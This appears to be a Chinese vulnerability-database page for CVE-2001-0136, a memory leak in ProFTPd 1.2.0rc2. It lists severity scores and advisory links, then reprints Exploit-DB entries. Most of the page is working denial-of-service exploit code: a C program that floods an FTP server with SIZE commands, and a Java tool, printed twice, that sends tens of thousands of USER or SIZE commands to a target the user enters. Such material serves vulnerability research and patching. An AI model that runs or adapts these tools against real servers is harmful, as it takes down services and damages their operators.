CVE-2001-0136
CVSS5.0
发布时间 :2001-03-12 00:00:00
修订时间 :2008-09-05 16:23:21
NMCOE    

[原文]Memory leak in ProFTPd 1.2.0rc2 allows remote attackers to cause a denial of service via a series of USER commands, and possibly SIZE commands if the server has been improperly installed.


[CNNVD]ProFTPd服务拒绝漏洞(CNNVD-200103-038)

        ProFTPd 1.2.0rc2版本存在内存泄漏漏洞。远程攻击者借助一系列USER命令及可能SIZE命令,如果服务器已经已经安装不当,导致服务拒绝。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:debian:debian_linux:2.2Debian Debian Linux 2.2
cpe:/a:proftpd_project:proftpd
cpe:/o:mandrakesoft:mandrake_linux:7.2MandrakeSoft Mandrake Linux 7.2
cpe:/o:conectiva:linuxConectiva Linux

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0136
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0136
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200103-038
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/5801.php
(VENDOR_ADVISORY)  XF  proftpd-size-memory-leak
http://www.securityfocus.com/archive/1/152206
(UNKNOWN)  BUGTRAQ  20001220 ProFTPD 1.2.0 Memory leakage - denial of service
http://archives.neohapsis.com/archives/bugtraq/2001-01/0132.html
(VENDOR_ADVISORY)  BUGTRAQ  20010110 Re: Memory leakage in ProFTPd leads to remote DoS (SIZE FTP); (Exploit Code)
http://archives.neohapsis.com/archives/bugtraq/2001-01/0122.html
(VENDOR_ADVISORY)  BUGTRAQ  20010109 Memory leakage in ProFTPd leads to remote DoS (SIZE FTP); (Exploit Code)
http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-021.php3
(UNKNOWN)  MANDRAKE  MDKSA-2001:021
http://www.debian.org/security/2001/dsa-029
(UNKNOWN)  DEBIAN  DSA-029
http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000380
(UNKNOWN)  CONECTIVA  CLA-2001:380
http://archives.neohapsis.com/archives/bugtraq/2001-02/0267.html
(UNKNOWN)  BUGTRAQ  20010213 Trustix Security Advisory - proftpd, kernel

- 漏洞信息

ProFTPd服务拒绝漏洞
中危 未知
2001-03-12 00:00:00 2005-05-16 00:00:00
远程  
        ProFTPd 1.2.0rc2版本存在内存泄漏漏洞。远程攻击者借助一系列USER命令及可能SIZE命令,如果服务器已经已经安装不当,导致服务拒绝。

- 公告与补丁

        

- 漏洞信息 (241)

ProFTPD 1.2.0(rc2) (memory leakage example) Exploit (EDBID:241)
linux dos
2001-01-03 Verified
21 Piotr Zurawski
N/A [点击下载]
/*
 | Proftpd DoS
 | by Piotr Zurawski (szur@ix.renet.pl)
 | This source is just an example of memory leakage in proftpd-1.2.0(rc2)
 | server discovered by Wojciech Purczynski.
 |
 */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>

#define USERNAME "anonymous"
#define PASSWORD "dupa@dupa.pl"
#define HOWMANY 10000

void logintoftp();
void sendsizes();
int fd;
struct in_addr host;
unsigned short port = 21;
int tcp_connect(struct in_addr addr,unsigned short port);

int main(int argc, char **argv)
{
  if (!resolve(argv[1],&host))
  {
    fprintf(stderr,"Hostname lookup failure\n");
    exit(0);
  }

  fd=tcp_connect(host,port);
  logintoftp(fd);
  printf("Logged\n");
  sendsizes(fd);

  printf("Now check out memory usage of proftpd daemon");
  printf("Resident set size (RSS) and virtual memory size (VSIZE)");
  printf("fields in ps output");
}

void logintoftp()
{
  char snd[1024], rcv[1024];
  int n;

  printf("Logging " USERNAME  "/"  PASSWORD "\r\n");

  memset(snd, '\0', 1024);
  sprintf(snd, "USER %s\r\n", USERNAME);
  write(fd, snd, strlen(snd));

  while((n=read(fd, rcv, sizeof(rcv))) > 0)
  {
    rcv[n] = 0;
    if(strchr(rcv, '\n') != NULL)break;
  }

  memset(snd, '\0', 1024);
  sprintf(snd, "PASS %s\r\n", PASSWORD);
  write(fd, snd, strlen(snd));

  while((n=read(fd, rcv, sizeof(rcv))) > 0)
  {
    rcv[n] = 0;
    if(strchr(rcv, '\n') != NULL)
      break;
  }
  return;
}

void sendsizes()
{
  char snd[1024], rcv[1024];
  unsigned long loop;

  printf ("Sending %i size commands... \n", HOWMANY);

  for(loop=0;loop<HOWMANY;loop++)
  {
    sprintf(snd, "SIZE /dadasjasojdasj/adhjaodhahasohasaoihroaha\n");
    write(fd, snd, strlen(snd));
  }
  return;
}

int tcp_connect(struct in_addr addr,unsigned short port)
{
  int fd;

  struct sockaddr_in serv;
  bzero(&serv,sizeof(serv)); serv.sin_addr=addr;
  serv.sin_port=htons(port);
  serv.sin_family=AF_INET;

  if ((fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0)\
  {
    perror("socket");
    exit(0);
  }

  if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0)
  {
    perror("connect");
    exit(0);
  }

  return(fd);
}

int resolve(char *hostname,struct in_addr *addr)
{
  struct hostent *res;
  res=gethostbyname(hostname);
  if (res==NULL)
    return(0);
  memcpy((char *)addr,res->h_addr,res->h_length);
  return(1);
}		

- 漏洞信息 (244)

ProFTPD <= 1.2.0pre10 Remote Denial of Service Exploit (EDBID:244)
linux dos
2001-01-12 Verified
21 JeT-Li
N/A [点击下载]
/*      ProFTPd DoS version 1.1

	Remote DoS in proFTPd

        

	Code by: JeT-Li         -The Wushu Master-      jet_li_man@yahoo.com

	

        Recently I posted a remote DoS for ProFTPd based in the multiple use

	of the SIZE command in order to crash the system. Now and thanks to

	the information provided by Wojciech Purczynski I have coded a

	program that not only use the SIZE command but also the USER command.

	So at this time access to the ftp is not necessary to manage a DoS

	attack. The concept is equal to the last exploit one, but using

	multiple USER instead of SIZE.   

     

	You don't have to give arguments when you execute the program, it

	will request you these.

 	 	         

	Greets: _kiss_ (the real fucker ;-P); gordoc (no comment, the most

	hax man in the w0rld); Perip|o (tibetan mantras for u! ;-P); and all

	the ppl of #hackers (not able for cardiac XD). 	  

	

	Vulnerable systems: 

	ProFTPd 1.2.0rc1        (Tested)         

	ProFTPd 1.2.0rc2        (Tested)         

	And maybe others(1.2.0preX); I have no test this, but I'm sure you

	can do it for me ;-)	

	NOTE: 1.2.0pre10 is seems to be vulnerable according to the words of

	Wojciech Purczynski ... */



import java.net.*;

import java.io.*;



class TCPconnection {

    

    public TCPconnection (String hostname, int portnumber) throws Exception {

    Socket s = doaSocket(hostname, portnumber);

    br = new BufferedReader (new InputStreamReader (s.getInputStream()));

    ps = new PrintStream (s.getOutputStream());

    }

    

    public String readLine() throws Exception {

    String s;

    try {	s = br.readLine();	}

    catch (IOException ioe) {

    System.out.println("TCP Error ... it's a little hax0r exception ;-)");

    throw new Exception ("\nInput Error: I/O Error");

	}

    return s;

    }

    

    public void println(String s) {

	ps.println(s);

    }

    

    private Socket doaSocket(String hostname, int portnumber) throws Exception {

    Socket s = null;

    int attempts = 0;

    while (s == null && attempts<maxattempts) {

    try {	s = new Socket(hostname, portnumber);	}

    catch (UnknownHostException uhe) {

    System.err.println("It was no posible to establish the TCP connection.\n" + "Reason: unknown hostname " + hostname + ". Here is the Exception:");

    throw new Exception("\nConnection Error: " + "unknown hostname");

    }

    catch (IOException ioe) {

    System.err.println("The connection was not accomplished due to an I/O Error: trying it again ...");

    }

    attempts++;

    }

    if (s == null) throw new IOException("\nThe connection was not accomplished due to an I/O Error: trying it again ...");

    else return s; }

    private final int maxattempts = 5;

    private BufferedReader br;

    private PrintStream ps;

    

    }

    

class proftpDoS {

    

    public static void main(String[] arg) throws Exception {

    InputStreamReader isr;

    BufferedReader tcld;

    String hostnamez, username, password, file, s1, option, option1;

    int i, j, k, m;

    isr = new InputStreamReader(System.in);

    tcld = new BufferedReader(isr);

    System.out.println("ProFTPd DoS version 1.1 by JeT-Li -The Wushu Master-");

    System.out.println("Code in an attempt to solve Fermat Last's Theoreme");

    System.out.println("Please choose the type of attack you wanna use; insert only the NUMBER, i.e.: 1");

    System.out.println("1) Memory leakage using USER command");

    System.out.println("2) Memory leakage using SIZE command");

    System.out.print("Option: ");

    option = tcld.readLine();

    m = Integer.parseInt(option);

    while (!(m==1 || m==2)) {

    System.out.print("Option not valid, please try again: ");

    option = tcld.readLine();

    m = Integer.parseInt(option); }

    if (m==1) {

    hostnamez = "";	

    while (hostnamez.length()==0) {

    System.out.print("Please enter the hostname/IP: ");

    hostnamez = tcld.readLine(); }

    System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");

    System.out.println("1) Request 15000 size's to the server (it may be enough)");

    System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");

    System.out.print("Option: ");

    option1 = tcld.readLine();

    k = Integer.parseInt(option1);

    while (!(k==1 || k==2)) {

    System.out.print("Option not valid, please try again: ");

    option1 = tcld.readLine();

    k = Integer.parseInt(option1); }

    TCPconnection tc = new TCPconnection(hostnamez, 21);

        if (k==1) {

	for(i=0;i<15000;i++)

	tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + i); }

    else if (k==2) {

    for(i=1;i<100;i++)

	for(j=2;j<((int)Math.pow(j,i ));j++)

	    tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + j); }

    tc.println("quit");

    s1 = tc.readLine();

    while (s1!=null) {

    s1 = tc.readLine();

    System.out.println("Attack completed ... as one of my friends says:");

    System.out.println("Hack just r0cks ;-)");

    }

    }

    else if (m==2) {

    hostnamez = "";	

    while (hostnamez.length()==0) {

    System.out.print("Please enter the hostname/IP: ");

    hostnamez = tcld.readLine(); }

    username = "";

    while (username.length()==0) {

    System.out.print("Enter the username: ");

    username = tcld.readLine(); }

    password = "";

    while (password.length()==0) { 

    System.out.print("Enter the password for that username: ");

    password = tcld.readLine(); }

    file = "";

    while (file.length()==0) {

    System.out.print("Enter a valid filename on the FTP \n(with correct path of course ;-): ");

    file = tcld.readLine(); }

    System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");

    System.out.println("1) Request 15000 size's to the server (it may be enough)");

    System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");

    System.out.print("Option: ");

    option1 = tcld.readLine();

    k = Integer.parseInt(option1);

    while (!(k==1 || k==2)) {

    System.out.print("Option not valid, please try again: ");

    option1 = tcld.readLine();

    k = Integer.parseInt(option1); }

    TCPconnection tc = new TCPconnection(hostnamez, 21);

    tc.println("user " + username);

    tc.println("pass " + password);

    if (k==1) {

	for(i=0;i<10000;i++)

	tc.println("size " + file); }

    else if (k==2) {

    for(i=1;i<100;i++)

	for(j=2;j<((int)Math.pow(j,i ));j++)

	    tc.println("size " + file); }

    tc.println("quit");

    s1 = tc.readLine();

    while (s1!=null) {

    s1 = tc.readLine();

    System.out.println("Attack completed ... as one of my friends says:");

    System.out.println("Hack just r0cks ;-)");

    }

    }

    }

}		

- 漏洞信息 (20536)

ProFTPD 1.2 SIZE Remote Denial of Service Vulnerability (EDBID:20536)
linux dos
2000-12-20 Verified
0 JeT-Li
N/A [点击下载]
source: http://www.securityfocus.com/bid/2185/info

A memory leak has been reported in all versions of ProFTPd.

The SIZE FTP command causes the server to misallocate and leak small amounts of memory each time the command is executed.

If a sufficient number of these commands are executed by the server, substantial amounts of system memory can be consumed, allowing a remote attacker to carry out a denial of service attack on the affected host.

This could be problematic if anonymous FTP is enabled or if a malicious local user has been supplied with an FTP login ID. 

/*      ProFTPd DoS version 1.1
        Remote DoS in proFTPd

        Code by: JeT-Li         -The Wushu Master-      jet_li_man@yahoo.com

        Recently I posted a remote DoS for ProFTPd based in the multiple use
        of the SIZE command in order to crash the system. Now and thanks to
        the information provided by Wojciech Purczynski I have coded a
        program that not only use the SIZE command but also the USER command.
        So at this time access to the ftp is not necessary to manage a DoS
        attack. The concept is equal to the last exploit one, but using
        multiple USER instead of SIZE.

        You don't have to give arguments when you execute the program, it
        will request you these.

        Greets: _kiss_ (the real fucker ;-P); gordoc (no comment, the most
        hax man in the w0rld); Perip|o (tibetan mantras for u! ;-P); and all
        the ppl of #hackers (not able for cardiac XD).

        Vulnerable systems:
        ProFTPd 1.2.0rc1        (Tested)
        ProFTPd 1.2.0rc2        (Tested)
        And maybe others(1.2.0preX); I have no test this, but I'm sure you
        can do it for me ;-)
        NOTE: 1.2.0pre10 is seems to be vulnerable according to the words of
        Wojciech Purczynski ... */

import java.net.*;
import java.io.*;

class TCPconnection {

    public TCPconnection (String hostname, int portnumber) throws Exception {
    Socket s = doaSocket(hostname, portnumber);
    br = new BufferedReader (new InputStreamReader (s.getInputStream()));
    ps = new PrintStream (s.getOutputStream());
    }

    public String readLine() throws Exception {
    String s;
    try {       s = br.readLine();      }
    catch (IOException ioe) {
    System.out.println("TCP Error ... it's a little hax0r exception ;-)");
    throw new Exception ("\nInput Error: I/O Error");
        }
    return s;
    }

    public void println(String s) {
        ps.println(s);
    }

    private Socket doaSocket(String hostname, int portnumber) throws Exception {
    Socket s = null;
    int attempts = 0;
    while (s == null && attempts<maxattempts) {
    try {       s = new Socket(hostname, portnumber);   }
    catch (UnknownHostException uhe) {
    System.err.println("It was no posible to establish the TCP connection.\n" + "Reason: unknown hostname " +
hostname + ". Here is
the Exception:");
    throw new Exception("\nConnection Error: " + "unknown hostname");
    }
    catch (IOException ioe) {
    System.err.println("The connection was not accomplished due to an I/O Error: trying it again ...");
    }
    attempts++;
    }
    if (s == null) throw new IOException("\nThe connection was not accomplished due to an I/O Error: trying it
again ...");
    else return s; }
    private final int maxattempts = 5;
    private BufferedReader br;
    private PrintStream ps;

    }

class proftpDoS {

    public static void main(String[] arg) throws Exception {
    InputStreamReader isr;
    BufferedReader tcld;
    String hostnamez, username, password, file, s1, option, option1;
    int i, j, k, m;
    isr = new InputStreamReader(System.in);
    tcld = new BufferedReader(isr);
    System.out.println("ProFTPd DoS version 1.1 by JeT-Li -The Wushu Master-");
    System.out.println("Code in an attempt to solve Fermat Last's Theoreme");
    System.out.println("Please choose the type of attack you wanna use; insert only the NUMBER, i.e.: 1");
    System.out.println("1) Memory leakage using USER command");
    System.out.println("2) Memory leakage using SIZE command");
    System.out.print("Option: ");
    option = tcld.readLine();
    m = Integer.parseInt(option);
    while (!(m==1 || m==2)) {
    System.out.print("Option not valid, please try again: ");
    option = tcld.readLine();
    m = Integer.parseInt(option); }
    if (m==1) {
    hostnamez = "";
    while (hostnamez.length()==0) {
    System.out.print("Please enter the hostname/IP: ");
    hostnamez = tcld.readLine(); }
    System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
    System.out.println("1) Request 15000 size's to the server (it may be enough)");
    System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
    System.out.print("Option: ");
    option1 = tcld.readLine();
    k = Integer.parseInt(option1);
    while (!(k==1 || k==2)) {
    System.out.print("Option not valid, please try again: ");
    option1 = tcld.readLine();
    k = Integer.parseInt(option1); }
    TCPconnection tc = new TCPconnection(hostnamez, 21);
        if (k==1) {
        for(i=0;i<15000;i++)
        tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + i); }
    else if (k==2) {
    for(i=1;i<100;i++)
        for(j=2;j<((int)Math.pow(j,i ));j++)
            tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + j); }
    tc.println("quit");
    s1 = tc.readLine();
    while (s1!=null) {
    s1 = tc.readLine();
    System.out.println("Attack completed ... as one of my friends says:");
    System.out.println("Hack just r0cks ;-)");
    }
    }
    else if (m==2) {
     hostnamez = "";
    while (hostnamez.length()==0) {
    System.out.print("Please enter the hostname/IP: ");
    hostnamez = tcld.readLine(); }
    username = "";
    while (username.length()==0) {
    System.out.print("Enter the username: ");
    username = tcld.readLine(); }
    password = "";
    while (password.length()==0) {
    System.out.print("Enter the password for that username: ");
    password = tcld.readLine(); }
    file = "";
    while (file.length()==0) {
    System.out.print("Enter a valid filename on the FTP \n(with correct path of course ;-): ");
    file = tcld.readLine(); }
    System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
    System.out.println("1) Request 15000 size's to the server (it may be enough)");
    System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
    System.out.print("Option: ");
    option1 = tcld.readLine();
    k = Integer.parseInt(option1);
    while (!(k==1 || k==2)) {
    System.out.print("Option not valid, please try again: ");
    option1 = tcld.readLine();
    k = Integer.parseInt(option1); }
    TCPconnection tc = new TCPconnection(hostnamez, 21);
    tc.println("user " + username);
    tc.println("pass " + password);
    if (k==1) {
        for(i=0;i<10000;i++)
        tc.println("size " + file); }
    else if (k==2) {
    for(i=1;i<100;i++)
        for(j=2;j<((int)Math.pow(j,i ));j++)
            tc.println("size " + file); }
    tc.println("quit");
    s1 = tc.readLine();
    while (s1!=null) {
    s1 = tc.readLine();
    System.out.println("Attack completed ... as one of my friends says:");
    System.out.println("Hack just r0cks ;-)");
    }
    }
    }
}

		

- 漏洞信息

7165
ProFTPD USER Command Memory Leak DoS
Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2000-12-19 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站